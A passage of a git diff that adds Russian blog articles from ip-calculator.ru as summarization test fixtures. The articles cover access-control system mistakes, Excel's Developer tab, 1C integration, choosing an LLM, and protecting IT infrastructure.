ситуацию Следующая уловка обычно появляется сразу после первой. Мы вроде бы разобрались со сценариями, прикинули роли, описали, кто и куда должен ходить. И на этом моменте возникает вполне рациональная мысль: «Давайте сделаем ровно под текущие задачи – выберем все по минимуму. Зачем переплачивать за то, что, возможно, никогда не понадобится?» На первый взгляд аргумент железный. Бизнес живет сегодняшним днем, бюджеты утверждаются на год, а будущее всегда выглядит туманным. Но именно здесь под СКУД чаще всего закладывают мину замедленного действия. Физический доступ — одна из самых инерционных систем в компании. Сотрудники приходят и уходят, подразделения переезжают, офисы расширяются, появляются временные зоны, подрядчики, арендаторы, новые регламенты безопасности. Все это меняется быстрее, чем кажется, и почти всегда — гораздо быстрее, чем срок службы оборудования. Когда система проектируется строго «под сейчас», в недалеком будущем любое из изменений будет превращаться в отдельный проект. Например, не хватает контроллеров для новых точек прохода, система не позволяет разделить доступ для новых ролей, интеграции слишком дорогие. В итоге СКУД начинает тормозить бизнес, хотя изначально задумывалась как инфраструктурная вещь, которая просто «должна работать и не мешать». И снова возникает ощущение, что система выбрана неудачно — хотя на самом деле ошибка была в том, что ее проектировали без запаса на изменения. Эта уловка тоже выглядит абсолютно логичной. Никто не хочет переплачивать за «воздух», особенно если рост не гарантирован. Но в случае СКУД запас функциональности — это не избыточность, а страховка от неизбежных изменений. Возможность масштабироваться, добавлять сценарии, подключать новые зоны и роли всегда оказывается важнее разницы в цене на старте. Проще говоря, СКУД не обязательно остается в том виде, как ее внедряли. Вопрос лишь в том, будет ли система готова к изменениям, или каждый шаг в сторону будет стоить дороже и дороже. Ошибка #3. Считаем СКУД вотчиной физической безопасности СКУД часто воспринимают как «охранную» систему. Есть служба физической безопасности — значит, ей и выбирать, внедрять и эксплуатировать СКУД. Формально логика понятна: турникеты, двери, проходы, охрана. Но здесь скрыта одна из самых дорогих уловок. На практике СКУД — это точка пересечения интересов сразу нескольких подразделений. Физической охране важен контроль проходов и инцидентов. IT отвечает за инфраструктуру, сети, отказоустойчивость и интеграции. HR использует данные о сотрудниках, ролях и статусах. Службам compliance и ИТ-безопасности нужны журналы событий и аудит, а охране труда — понимание, кто и где находится в каждый момент времени. Ирония в том, что основную ценность из СКУД почти всегда получают именно эти службы, даже если формально система «числится» за физической охраной. Когда СКУД проектируется как изолированная система «для охраны», она быстро превратится в отдельный остров данных. Формально все работает, источник данных вроде бы есть, но использовать информацию сложно или невозможно. А дальше начинаются риски — не только операционные, но и финансовые: от штрафов за нарушение нормативных требований до потери контроля над конфиденциальной информацией и инцидентов, которые невозможно корректно расследовать. Физически эта ошибка почти всегда проявляется одинаково — в отложенной интеграции. Классическая формулировка звучит так: «Давайте сначала поставим, а лет через пять подумаем об интеграции». Через несколько лет компания столкнется с неконсистентными данными, сложным ручным сопоставлением информации и устоявшимися процессами, менять которые дорого и больно. Избежать этого можно, например, заложив интеграции в ТЗ на этапе проекта по СКУД. На практике это означает, что придется заранее определить цели системы, договориться о зонах ответственности и зафиксировать роли. Допустим, источником данных о сотрудниках останется HR- или учетная система, а СКУД будет выполнять свою основную функцию — исполнять контроль доступа и формировать достоверные события. В таком виде СКУД сразу перестает быть «вотчиной» департамента безопасности и становится полноценным элементом корпоративной инфраструктуры. Именно так система сразу начнет приносить максимальную ценность. Однако, сегодня большинство решений, которые принято относить к лидерам рынка, изначально проектируются как платформы: с открытым API и набором интеграционных модулей, которые можно подключать по мере необходимости. Поэтому достаточно изменить сам подход — рассматривать СКУД не как изолированную охранную систему, а как полноценный элемент ИТ-инфраструктуры компании. Ошибка #4. Переоцениваем автоматизацию и недооцениваем эксплуатацию На этапе выбора СКУД легко поверить, что после внедрения система будет работать «сама». Правила доступа, расписания, роли, автоматическое назначение и отзыв прав, отчеты и реакции на события — все это выглядит как законченная автоматизация, которая снимает с людей бо́льшую часть работы. Это еще одна рациональная уловка. Автоматизация в СКУД — это всего лишь набор заранее заданных правил и сценариев. Она отвечает на вопрос, что должна делать система, но не отвечает на вопрос, кто и как поддерживает эти правила в актуальном состоянии. Более того, чем сложнее и гибче система, тем выше требования к поддержке, администрированию и регламентам работы. В реальной жизни доступ постоянно меняется. Сотрудники выходят на работу и увольняются, переходят между подразделениями, получают временные роли, теряют карты, работают по сменам, приезжают ночью или в выходные. Добавляются подрядчики, временные сотрудники, гости. Все эти изменения требуют регулярных действий в системе. Если процессы эксплуатации не продуманы, автоматизация быстро превратится в источник ошибок. Более того, если эксплуатация не продумана, автоматизация начнет работать против системы. Устаревшие данные, доступы закрываются с задержкой или не закрываются вовсе, отчеты расходятся с реальностью — доверие к СКУД быстро исчезнет и в какой-то момент систему начнут обходить, потому что «так быстрее». Эксплуатацию часто считают чем-то вторичным. На этапе проекта обсуждают функциональность, архитектуру и интеграции, но почти не говорят о том, кто и как будет жить с системой следующие пять–семь лет. В результате обязанности размыты, регламенты отсутствуют, а поддержка сводится к реакции на инциденты. Зрелый подход — рассматривать эксплуатацию наравне с автоматизацией. Правила, сценарии и отчеты должны сопровождаться понятными процессами: кто администрирует систему, какие операции выполняются регулярно, какие — по исключениям, как обновляются данные и кто отвечает за их корректность. Без этого автоматизация перестает быть инструментом и становится усилителем хаоса — она просто быстрее и масштабнее воспроизводит все организационные ошибки, заложенные в систему. Ошибка #5. Считаем внедрение СКУД разовым проектом Одна из самых устойчивых иллюзий — что у внедрения СКУД есть конец. Вот мы выбрали систему, поставили оборудование, подписали акты, провели обучение и торжественно объявили: «Проект завершен». Можно жить дальше. Это, пожалуй, самая дорогая уловка из всех. СКУД — не проект. Это инфраструктура. Она живет столько же, сколько живет компания, и стареет примерно с той же скоростью. Меняются сотрудники, оргструктура, требования безопасности, регламенты, IT-ландшафт, нормативные требования. А СКУД либо меняется вместе с этим, либо начинает трещать по швам. Когда систему считают «закрытым вопросом», с ней происходят самые обычные вещи. Обновления откладываются, потому что «и так работает». Документация устаревает. Знания о системе концентрируются у одного человека, который «все помнит». Любые изменения становятся рискованными и дорогими. В итоге СКУД превращается в хрупкий артефакт, к которому страшно прикасаться — вдруг что-то сломается. Самое коварное, что внешне все может выглядеть вполне прилично. Турникеты крутятся, двери открываются, отчеты формируются. Проблемы становятся заметны только тогда, когда компании нужно что-то поменять: запустить новый офис, пересобрать роли, пройти аудит или разобраться в инциденте. И вот тут выясняется, что система к жизни не готова. Зрелый подход начинается с простой мысли: СКУД — это не «внедрили и забыли», а управляемый жизненный цикл. С понятными правилами изменений, ответственными, регулярным пересмотром архитектуры и процессов. Тогда система будет опорой для бизнеса, а в противном случае — его ограничением. Вместо вывода. Инструкция по созданию проблем Сложим все ошибки вместе. Сначала выбрали СКУД как набор железа — так удобно считать деньги. Спроектировали систему строго под текущие задачи — будущее неопределенно, а бюджет очень даже конкретный. Передали всю ответственность службе физической безопасности — им нравится эта идея во всем, кроме регламентов эксплуатации, под которые у них не нашлось специалистов. Конечно, никто не ошибался намеренно. Все шаги выглядели логичными. Просто логика была локальной и сиюминутной. А последствия — глобальные и растянутые во времени. Но есть и хорошая новость. Ошибки настолько типичны, что их можно использовать как чек-лист — если хочется сделать все правильно. Или как аргументы — если нужно объяснить коллегам и боссу, почему «давайте просто поставим СКУД» заканчивается совсем не просто. Если после этой статьи вам стало чуть проще отстаивать правильный подход — значит, мы написали ее не зря. +============== diff --git a/tests/summarization/https___ip-calculator.ru_blog_ask_how-to-enable-use-or-remove-the-developer-tab-in-microsoft-excel_.txt b/tests/summarization/https___ip-calculator.ru_blog_ask_how-to-enable-use-or-remove-the-developer-tab-in-microsoft-excel_.txt new file mode 100644 index 0000000..2127f3a --- /dev/null +++ b/tests/summarization/https___ip-calculator.ru_blog_ask_how-to-enable-use-or-remove-the-developer-tab-in-microsoft-excel_.txt @@ -0,0 +1,2 @@ +Как включить, использовать или удалить вкладку «Разработчик» в Microsoft Excel admin14 ноября 20250 Вкладка «Разработчик» в Microsoft Excel открывает доступ к мощным инструментам для автоматизации задач, создания форм и работы с макросами или кодом VBA. Однако в большинстве установок Excel эта вкладка по умолчанию скрыта, что может замедлить работу пользователей, которым нужен быстрый доступ к расширенным функциям. Активация вкладки «Разработчик» упрощает такие задачи, как написание макросов, вставка элементов управления формами и управление надстройками, значительно экономя время пользователей, регулярно работающих с этими функциями. Включить вкладку «Разработчик» в Microsoft Excel Шаг 1: Откройте Excel и выберите Fileвкладку в левом верхнем углу окна. Откроется меню Backstage, где можно получить доступ к настройкам и параметрам приложения. Шаг 2: Прокрутите меню до конца и нажмите Optionsили, Moreзатем Options. Откроется диалоговое окно «Параметры Excel», содержащее различные параметры настройки Excel. Шаг 3: В окне «Параметры Excel» выберите Customize Ribbonна левой боковой панели. Этот раздел позволяет настроить вкладки, отображаемые на ленточном интерфейсе Excel. Шаг 4: Справа, под Main Tabsсписком, найдите Developerфлажок. Щёлкните по нему, чтобы установить флажок. Это действие отобразит вкладку «Разработчик» на ленте. Шаг 5: Нажмите кнопку OK, чтобы применить изменения, и закройте диалоговое окно. Вкладка «Разработчик» теперь появится в верхней части окна Excel, обычно после вкладки «Вид». Теперь вы можете напрямую получать доступ к таким функциям, как Visual Basic, макросы, надстройки и элементы управления формами. Альтернативный способ включения вкладки «Разработчик» Другой быстрый способ — щёлкнуть правой кнопкой мыши в любом месте ленты (области с кнопками «Главная», «Вставка», «Разметка страницы» и т. д.) и выбрать нужный пункт Customize the Ribbon…в контекстном меню. Затем выполните те же действия, что и выше: установите Developerфлажок и нажмите OK. Использование вкладки «Разработчик» в Excel При активной вкладке «Разработчик» вы получаете доступ к нескольким расширенным инструментам: Макросы: записывайте, редактируйте и запускайте макросы для автоматизации повторяющихся задач и процессов. Visual Basic: откройте редактор VBA, чтобы написать или изменить пользовательский код для Excel. Элементы управления формами: вставляйте флажки, кнопки, раскрывающиеся списки и другие интерактивные элементы в свои рабочие листы. Элементы управления ActiveX: добавьте более продвинутые интерактивные элементы управления для специализированных случаев использования. Надстройки: управляйте надстройками Excel, чтобы расширить возможности программы. Инструменты XML: импортируйте и управляйте данными и картами XML для расширенной обработки данных. Эти функции позволяют пользователям создавать индивидуальные решения, автоматизировать рабочие процессы и создавать интерактивные формы непосредственно в своих рабочих книгах Excel. Изменение положения вкладки «Разработчик» Если вы предпочитаете разместить вкладку «Разработчик» в другом месте ленты, вы можете переместить ее: Шаг 1: Перейдите по ссылке File > Options > Customize Ribbon. Шаг 2: В правом списке выберите Developerвкладку. Шаг 3: Используйте стрелки «вверх» и «вниз» рядом со списком, чтобы переместить вкладку в нужное вам место. Шаг 4: Сохраните OKизменения. Вкладка «Разработчик» появится там, где вы её разместили. Удалить или скрыть вкладку «Разработчик» Если вкладка «Разработчик» вам больше не нужна, удалить ее просто: Шаг 1: Щелкните правой кнопкой мыши любую вкладку на ленте и выберите Customize the Ribbon…. Шаг 2: В окне параметров Excel снимите Developerфлажок под Main Tabs. Шаг 3: Нажмите OKдля подтверждения. Вкладка «Разработчик» исчезнет с ленты. Вы всегда можете снова включить её, повторив описанные выше действия. Удалить элементы управления разработчика из рабочей книги Элементы управления разработчика, такие как флажки, кнопки и другие элементы формы, иногда могут вызывать проблемы с рабочей книгой или больше не нужны. Процесс удаления зависит от типа элемента управления: Элементы управления формы: Щёлкните правой кнопкой мыши по элементу управления. Если вы видите маркеры изменения размера и контекстное меню, нажмите кнопку Esc, чтобы закрыть меню, а затем нажмите кнопку Deleteна клавиатуре, чтобы удалить элемент управления. Элементы управления ActiveX: перейдите на вкладку «Разработчик» и нажмите Design Modeв группе «Элементы управления». Щёлкните элемент управления, чтобы выбрать его, затем нажмите кнопку Delete. Выйдите из режима разработки, нажав кнопку ещё раз. Удаление ненужных элементов управления может устранить сбои или замедление работы книги, особенно если элементы управления неправильно настроены или больше не используются. Активация вкладки «Разработчик» в Excel обеспечивает прямой доступ к расширенным инструментам автоматизации и настройки, а её скрытие или удаление позволяет сохранить порядок на ленте. Вы можете в любое время изменить эти настройки в соответствии с потребностями своего рабочего процесса. Насколько публикация полезна? Нажмите на звезду, чтобы оценить! Отправить оценку Средняя оценка 5 / 5. Количество оценок: 1 Оценок пока нет. Поставьте оценку первым. Статьи по теме: Как создать презентацию с помощью нейросети по теме и по готовому тексту? ИИ в бизнесе: что это, как работает (ML, NLP, Computer Vision) и как внедрить Зачем IT-специалистам нужны серверы для AI/ML вычислений Как ИИ-сотрудники помогают IT-бизнесу: от техподдержки до помощника руководителя Просмотров: 10 Категории Вопросы читателей Предыдущая заметка ИИ в бизнесе: что это, как работает (ML, NLP, Computer Vision) и как внедрить Следующая заметка Как создать презентацию с помощью нейросети по теме и по готовому тексту? +============== diff --git a/tests/summarization/https___ip-calculator.ru_blog_ask_integratsiya-1s-s-it-sistemami-prakticheskoe-rukovodstvo_.txt b/tests/summarization/https___ip-calculator.ru_blog_ask_integratsiya-1s-s-it-sistemami-prakticheskoe-rukovodstvo_.txt new file mode 100644 index 0000000..0fe1743 --- /dev/null +++ b/tests/summarization/https___ip-calculator.ru_blog_ask_integratsiya-1s-s-it-sistemami-prakticheskoe-rukovodstvo_.txt @@ -0,0 +1,2 @@ +Интеграция 1С с IT-системами: практическое руководство tech09 декабря 20250 Введение Интеграция 1С с другими IT-системами — это не просто техническая задача, а важный шаг к цифровой зрелости компании. Независимо от того, используете ли вы 1С:ERP, 1С:Бухгалтерию, 1С:Управление торговлей или другую конфигурацию https://tlink.ru/catalog/programmy_1s/license/, рано или поздно возникает необходимость связать её с внешними сервисами: CRM, интернет-магазинами, складскими системами, платёжными шлюзами, BI-платформами и даже с собственными внутренними разработками. Почему это важно? Потому что данные, застрявшие в изоляции, теряют ценность. А когда 1С «разговаривает» с другими системами — процессы ускоряются, ошибки сокращаются, а сотрудники перестают тратить время на ручной ввод одних и тех же сведений в разные программы. Однако интеграция — дело непростое. Без чёткого понимания целей, архитектуры и возможных подводных камней можно потратить время, бюджет и нервы, а получить в итоге хрупкую, нестабильную связку, которая ломается при каждом обновлении. Эта статья — практическое руководство для тех, кто хочет подойти к интеграции 1С осознанно. Мы не будем углубляться в абстрактные теории, а сразу перейдём к тому, что работает в реальных проектах: какие подходы использовать, как выбрать правильный способ обмена данными, на что обратить внимание при проектировании, и как избежать типичных ошибок. Начнём с самого начала — с понимания, зачем вообще это нужно и с чего стоит стартовать. Почему интеграция 1С так важна в современной ИТ-инфраструктуре 1С — это не просто бухгалтерская программа. Для тысяч российских и международных компаний это центральный узел, где сходятся финансы, логистика, управление персоналом, продажи и склад. Однако в изоляции даже самая мощная система теряет большую часть своей ценности. Современный бизнес строится на сквозных процессах, и если данные не «бегают» между системами — бизнес начинает «хромать». Что даёт интеграция на практике? Вот несколько реальных выгод, которые получают компании после настройки связей между 1С и другими ИТ-решениями: Сокращение ручного труда. Заказы из интернет-магазина автоматически попадают в 1С, счета из бухгалтерии — в CRM, остатки на складе — в маркетплейсы. Никто не перепечатывает данные вручную, а значит, меньше ошибок и выше скорость обработки. Актуальность информации. Все отделы работают с одними и теми же данными в реальном времени. Продавец видит актуальные остатки, бухгалтер — подтверждённые поставки, логист — готовые к отгрузке заказы. Гибкость и масштабируемость. Когда бизнес растёт, новые сервисы (например, новая платёжная система или складской робот) легко подключаются к единой экосистеме на основе 1С — без перестройки всей ИТ-архитектуры с нуля. Улучшенная аналитика. Интеграция с BI-системами (Power BI, Tableau, «Яндекс.Данные» и др.) позволяет строить отчёты на основе полных, а не фрагментарных данных. Это помогает принимать решения на основе фактов, а не интуиции. Когда без интеграции уже не обойтись? Если вы сталкиваетесь с хотя бы несколькими из следующих ситуаций — пришло время задуматься о подключении 1С к другим системам: Операторы ежедневно копируют заказы из Excel или из личного кабинета маркетплейса в 1С. Клиенты жалуются, что статус заказа в личном кабинете не совпадает с реальным. Финансовый отчёт формируется по итогам недели, потому что данные приходится собирать из трёх разных программ. Склад и магазин работают «вслепую» друг относительно друга — товар числится как доступный в 1С, но физически уже продан онлайн. Интеграция 1С — это не роскошь, а необходимый элемент эффективной ИТ-инфраструктуры. Она превращает разрозненные инструменты в единый организм, где каждый компонент выполняет свою роль, но при этом «знает» о действиях остальных. В условиях высокой конкуренции и растущих ожиданий клиентов такая синхронизация становится не просто полезной — а критически важной. Основные методы и протоколы интеграции 1С с внешними системами Выбор способа интеграции — один из самых важных этапов. От него зависит не только сложность реализации, но и надёжность, производительность и стоимость поддержки будущего решения. В 1С существует несколько проверенных подходов, каждый из которых подходит для разных задач и технических условий. 1. Веб-сервисы (SOAP и REST) Это самый распространённый и гибкий способ обмена данными между 1С и внешними системами. SOAP — старый, но надёжный стандарт. Он хорошо подходит для интеграций с корпоративными системами, где важна строгая типизация и контракт взаимодействия. 1С умеет как публиковать, так и потреблять SOAP-сервисы «из коробки». REST/HTTP — современный, лёгкий и популярный подход. Особенно удобен при работе с облачными сервисами, мобильными приложениями и веб-сайтами. 1С может отправлять и принимать HTTP-запросы с использованием форматов JSON или XML. Преимущества: высокая совместимость, поддержка аутентификации, возможность работать через интернет. Минус — требует определённых знаний в API-разработке и настройке сервера. 2. Обмен через файлы Простейший способ, при котором данные передаются в виде файлов (чаще всего XML, CSV или JSON). 1С формирует файл, внешняя система его забирает — или наоборот. Подходит для небольших компаний или ситуаций, где обмен происходит редко (например, раз в сутки). Не требует сложной настройки: достаточно общего сетевого каталога или FTP-сервера. Недостатки: отсутствие реального времени, риск конфликтов при одновременной записи, сложность отслеживания ошибок. 3. Прямое подключение к базе данных Технически возможно — 1С работает на СУБД (чаще всего PostgreSQL или MS SQL), и теоретически можно читать или писать данные напрямую. Однако это крайне нежелательно в большинстве случаев. Почему? Потому что 1С управляет данными через собственный движок. Минуя его, вы рискуете: нарушить целостность данных, обойти бизнес-логику (например, не сработать расчёты или триггеры), сломать систему при обновлении. Такой подход допустим только в очень специфических случаях — например, для read-only аналитики, и то лучше использовать выделенные механизм 1С, такие как витрины данных или внешние источники. 4. COM-соединение и внешние компоненты Если интеграция происходит с программой, установленной на том же компьютере (например, с Excel или 1С-Битрикс локальной версии), можно использовать COM-объекты или специальные внешние компоненты (add-ins). Это даёт высокую скорость и контроль, но привязывает решение к конкретной машине, что снижает гибкость и усложняет масштабирование. Как выбрать подходящий метод? Ориентируйтесь на три ключевых фактора: Частота обмена. Если данные нужны в реальном времени — выбирайте REST/SOAP. Если раз в день — подойдут файлы. Технические возможности внешней системы. Есть ли у неё API? Поддерживает ли она веб-хуки? Может ли принимать файлы? Требования к надёжности и поддержке. REST/SOAP проще мониторить, логировать и отлаживать, чем файловый обмен. В большинстве современных проектов предпочтение отдаётся REST-интеграциям через HTTP/JSON — они просты, масштабируемы и хорошо сочетаются с облачными технологиями. Пошаговый план подключения 1С к CRM, ERP и другим платформам Подключить 1С к внешней системе — это не просто «нажать кнопку». Даже если техническая реализация займёт пару дней, успех зависит от того, насколько чётко продуманы цели, процессы и форматы обмена. Ниже — проверенный на практике план из шести шагов, который подходит как для интеграции с CRM (например, Битрикс24 или amoCRM), так и с ERP, маркетплейсами, складскими системами и другими платформами. Шаг 1. Чётко сформулируйте цель интеграции Не начинайте с технических деталей. Сначала ответьте на вопрос: «Что должно измениться в бизнесе после подключения?» Примеры целей: Автоматически передавать новые заказы из CRM в 1С:УТ без участия менеджера. Синхронизировать остатки товаров между 1С и маркетплейсом, чтобы избежать продажи «виртуального» товара. Передавать данные по закрытым сделкам из 1С в BI-систему для анализа рентабельности. Без ясной цели легко уйти в технические дебри и потратить ресурсы впустую. Шаг 2. Проанализируйте бизнес-процессы Определите, какие процессы затрагивает интеграция, и как они выглядят сейчас. Нарисуйте схему «до» и «после»: Кто участвует? (менеджер, бухгалтер, склад) Где возникают ручные операции? Какие данные передаются между системами и в каком виде? Этот шаг помогает избежать «технически правильного, но бизнес-бесполезного» решения. Шаг 3. Выберите формат и метод обмена На основе целей и процессов определите: Какой метод интеграции использовать (REST, файлы и т.д. — см. предыдущий раздел). Какие объекты синхронизировать (клиенты, заказы, номенклатура, остатки и пр.). В каком направлении и как часто передавать данные (односторонне/двусторонне, в реальном времени/раз в час). Важно: уточните, поддерживает ли внешняя система нужный API или формат. Иногда приходится адаптировать 1С под ограничения внешнего сервиса. Шаг 4. Настройте идентификацию объектов Чтобы не дублировать клиентов или заказы, каждая запись должна иметь уникальный идентификатор в обеих системах. Например: В CRM — ID сделки. В 1С — уникальный номер документа или GUID. Заведите справочник или регистр сведений в 1С для хранения внешних ID. Это упростит синхронизацию и отладку. Шаг 5. Реализуйте и протестируйте интеграцию Работайте итеративно: Создайте минимальную рабочую версию (например, передача одного заказа). Протестируйте в изолированной базе (не в бою!). Проверьте обработку ошибок: что будет, если внешняя система недоступна? Настройте логирование — чтобы видеть, что, когда и почему передаётся. Лучше начать с read-only сценариев (только получение данных), чтобы не повредить боевую информацию. Шаг 6. Запустите в работу и обеспечьте поддержку После успешного тестирования: Постепенно переводите интеграцию в промышленную эксплуатацию (например, сначала на одном филиале). Обучите сотрудников новым правилам работы. Настройте мониторинг: аварийные уведомления при сбое обмена, регулярные отчёты о статусе синхронизации. Помните: интеграция — это не разовое событие, а живой процесс. Обновления 1С или внешней системы могут нарушить обмен, поэтому важно предусмотреть план поддержки. Типичные ошибки и как их избежать при интеграции 1С Даже опытные ИТ-специалисты иногда допускают одни и те же ошибки при интеграции 1С. Некоторые из них кажутся мелочами на старте, но со временем превращаются в серьёзные проблемы: сбои в учёте, дублирование данных, простои бизнеса. Вот самые распространённые ловушки — и проверенные способы их обойти. 1. Интеграция без чёткого бизнес-сценария Ошибка: «Давайте просто подключим CRM к 1С — а там разберёмся». Последствия: создаётся избыточная или нерабочая связка, которую потом приходится переделывать. Как избежать: перед написанием первой строки кода зафиксируйте конкретные сценарии: «Когда в CRM закрывается сделка, в 1С создаётся заказ покупателя с указанием контрагента, номенклатуры и суммы». Без таких правил — только хаос. 2. Игнорирование уникальных идентификаторов Ошибка: сопоставление записей по наименованию («ООО Ромашка») или номеру телефона. Последствия: при малейшем изменении названия компании система создаёт дубль, и учёт рассыпается. Как избежать: всегда используйте стабильные внешние ID. Храните их в 1С отдельным реквизитом или в специальном регистре. Никогда не полагайтесь на «человекочитаемые» поля для синхронизации. 3. Отсутствие обработки ошибок и повторных попыток Ошибка: интеграция прерывается при первом же сбое сети или таймауте API — и дальше молчит. Последствия: данные теряются, заказы не попадают в учёт, клиенты остаются без подтверждения. Как избежать: реализуйте очередь обмена и механизм повторных попыток (retry). Лучше хранить «недоставленные» документы в 1С и пытаться отправить их каждые 5–10 минут, пока не получится. 4. Прямая запись в таблицы базы данных Ошибка: сторонняя система пишет напрямую в таблицы информационной базы 1С, минуя платформу. Последствия: нарушение бизнес-логики, ошибки при расчётах, невозможность обновить конфигурацию. Как избежать: всегда используйте официальные интерфейсы — веб-сервисы, внешние обработки или REST-обработки. Даже если это чуть медленнее — это безопаснее в разы. 5. Недооценка нагрузки на систему Ошибка: отправка тысяч записей за раз без пагинации или пауз. Последствия: зависание 1С, обрыв сессий, нестабильная работа сервера. Как избежать: разбивайте большие объёмы на порции (например, по 100 записей), используйте фоновые задания, отслеживайте производительность. 6. Отсутствие логирования и мониторинга Ошибка: «Интеграция работает — и слава богу». Никто не знает, когда она в последний раз сработала и что передавалось. Последствия: при проблеме приходится разбираться методом тыка, теряя дни или недели. Как избежать: обязательно ведите журнал обмена: дата, время, направление, статус, тело запроса/ответа (в сокращённом виде). Добавьте простую веб-страницу или отчёт для администратора — это сэкономит часы при диагностике. 7. Забвение про обновления Ошибка: интеграция настроена на текущую версию 1С, а при обновлении конфигурации всё ломается. Последствия: после планового обновления учёт «зависает», пока разработчики не восстановят связь. Как избежать: тестируйте интеграцию после каждого крупного обновления. По возможности выносите логику обмена в отдельные внешние обработки, а не встраивайте глубоко в конфигурацию. Интеграция 1С — это не про «сделать», а про «сделать так, чтобы работало долго и надёжно». Большинство провалов происходят не из-за сложности технологий, а из-за пренебрежения базовыми принципами проектирования. Следуя этим рекомендациям, вы сведёте риски к минимуму — и получите систему, которая служит бизнесу, а не мешает ему. Насколько публикация полезна? Нажмите на звезду, чтобы оценить! Отправить оценку Средняя оценка 5 / 5. Количество оценок: 1 Оценок пока нет. Поставьте оценку первым. Статьи по теме: Нейросети в SEO и маркетинге: Telegram как новый поисковик - как получать 10–50 тыс. целевых переходов в месяц бесплатно Визуальный дизайн и социальная активность: как пиксели и оформление влияют на лайки и подписчиков Как создать презентацию с помощью нейросети по теме и по готовому тексту? Как включить, использовать или удалить вкладку «Разработчик» в Microsoft Excel Просмотров: 2 Категории Вопросы читателей Метки 1С Интернет Сервисы Предыдущая заметка Нейросети в SEO и маркетинге: Telegram как новый поисковик — как получать 10–50 тыс. целевых переходов в месяц бесплатно +============== diff --git a/tests/summarization/https___ip-calculator.ru_blog_ask_kak-ajtishniku-vybrat-nejroset_.txt b/tests/summarization/https___ip-calculator.ru_blog_ask_kak-ajtishniku-vybrat-nejroset_.txt new file mode 100644 index 0000000..c2f8e0f --- /dev/null +++ b/tests/summarization/https___ip-calculator.ru_blog_ask_kak-ajtishniku-vybrat-nejroset_.txt @@ -0,0 +1,2 @@ +Как айтишнику выбрать нейросеть: сравнение и выбор моделей tech19 января 20260 Еще пару лет назад мы спорили, заменит ли ИИ программиста. Сегодня мы спорим, какой именно ИИ лучше справляется с рефакторингом легаси-кода. Нейросети перестали быть игрушкой для генерации стишков и превратились в полноценный рабочий инструмент. Вы уже наверняка привыкли, что GPT пишет за вас тесты, а Claude подкидывает идеи для архитектуры. Но рынок перенасыщен. Модели выходят каждую неделю: вчера все обсуждали o1, сегодня в топах GPT-5.2, а завтра Google выкатывает очередную Gemini 3. Держать всё в голове невозможно, а выбирать наугад — дорого и неэффективно. Разбираемся, как айтишнику не утонуть в этом океане токенов и найти то, что реально ускорит работу. Как выбрать нейросеть Первое, что нужно понять: не существует «самой лучшей» модели. Есть модель, идеально заточенная под ваши нужды. Вы же не будете использовать молоток для закручивания шурупов? С нейросетями та же история. Задайте себе три вопроса: Что я буду делать? Писать код, анализировать документы, общаться с клиентами, генерировать изображения по ТЗ? Сколько я готов платить? Бюджет — решающий фактор. Крутая модель с гигантским контекстом может оказаться золотой, когда вы отправляете ей тонны данных ежедневно. Что для меня важнее: скорость или глубина? Нужен быстрый ответ на простой вопрос или сложный анализ с многоэтапными рассуждениями? И здесь наступает момент истины. Ручной перебор всех моделей — путь в никуда. Тратить рабочие дни на изучение документации к каждому API, сравнение цен и запуск собственных тестов — непозволительная роскошь. Надо действовать умнее. Используем сервис сравнения языковых моделей На сервисе AI-Stat нейросети разложены по полочкам. Здесь можно за пару минут сравнить ИИ и понять, какие модели сейчас реально сильнее, а какие просто громко звучат в новостях. Вы смотрите рейтинг языковых моделей, фильтруете по нужным параметрам — например, большой контекст или мультимодальность — и сразу видите: результаты ключевых бенчмарков: от HumanEval до GPQA и SWE-Bench; стоимость входных и выходных токенов; размер контекстного окна и границу знаний; реальные данные по скорости генерации. Отдельный плюс — рейтинги по конкретным сценариям. И всё это регулярно обновляется. Нужно выбрать модель для кода? Есть отдельный лидерборд. Важен tool calling для агентов и автоматизации? Пожалуйста, рейтинг на основе Tau2 и ComplexFuncBench с понятным процентом надёжности. Итог Айтишнику сегодня выгодно относиться к нейросетям прагматично. Не как к магии и не как к игрушке, а как к инструменту с характеристиками, ограничениями и ценой. Правильный выбор модели экономит часы работы, снижает количество ошибок и напрямую влияет на результат. Вместо того чтобы гадать или полагаться на хайп, проще открыть сервис сравнения, посмотреть реальные метрики и выбрать нейросеть под конкретную задачу. Это ровно тот случай, когда несколько минут анализа окупаются уже в первый рабочий день. Насколько публикация полезна? Нажмите на звезду, чтобы оценить! Отправить оценку Средняя оценка 5 / 5. Количество оценок: 1 Оценок пока нет. Поставьте оценку первым. Статьи по теме: Как ИТ-бизнесу защитить свою информационную инфраструктуру Как российским айти-предпринимателям запускать бизнес в Азии без проблем с задержкой, надёжностью и безопасностью Как ИТ-компании защитить свои данные: советы по мониторингу безопасности Как создать интернет-магазин: понятное руководство для предпринимателей Просмотров: 4 Категории Вопросы читателей Метки Интернет Нейросети Сервисы Предыдущая заметка Как ИТ-бизнесу защитить свою информационную инфраструктуру +============== diff --git a/tests/summarization/https___ip-calculator.ru_blog_ask_kak-it-biznesu-zashhitit-svoyu-informatsionnuyu-infrastrukturu_.txt b/tests/summarization/https___ip-calculator.ru_blog_ask_kak-it-biznesu-zashhitit-svoyu-informatsionnuyu-infrastrukturu_.txt new file mode 100644 index 0000000..7bd899a --- /dev/null +++ b/tests/summarization/https___ip-calculator.ru_blog_ask_kak-it-biznesu-zashhitit-svoyu-informatsionnuyu-infrastrukturu_.txt @@ -0,0 +1,2 @@ +Как ИТ-бизнесу защитить свою информационную инфраструктуру tech23 декабря 20250 Рост кибератак на телеком и ИТ в России Для российского ИТ-сектора и телекома наступили времена «высокой турбулентности». Если раньше кибератаки воспринимались как досадная помеха, то сегодня это экзистенциальная угроза. В 2025 году ландшафт угроз изменился: атаки стали сложнее, а их количество бьет все исторические рекорды. Согласно актуальным отчетам ведущих аналитических агентств, за 11 месяцев 2025 года количество кибератак на российский бизнес выросло почти в 1,4 раза по сравнению с прошлым годом. ИТ-компании и телеком-операторы стабильно входят в «тройку» наиболее атакуемых отраслей (наряду с промышленностью). В 2025 году на ИТ-сектор пришлось около 15% всех инцидентов, а на телеком — до 28%. Основными трендами стали: Атаки на цепочки поставок. Хакеры взламывают одного ИТ-подрядчика, чтобы получить доступ к десяткам его клиентов. Использование ИИ. Злоумышленники применяют нейросети для создания гиперреалистичного фишинга и автоматизированного поиска уязвимостей в коде. Рекордная скорость. Минимальное время от проникновения до начала активного взлома сократилось до 12–15 минут. В этих условиях защита информационной инфраструктуры становится не вспомогательной функцией, а ключевым элементом устойчивости и конкурентоспособности ИТ-бизнеса. Основные способы защиты компании Эффективная кибербезопасность строится на комплексном подходе и сочетает 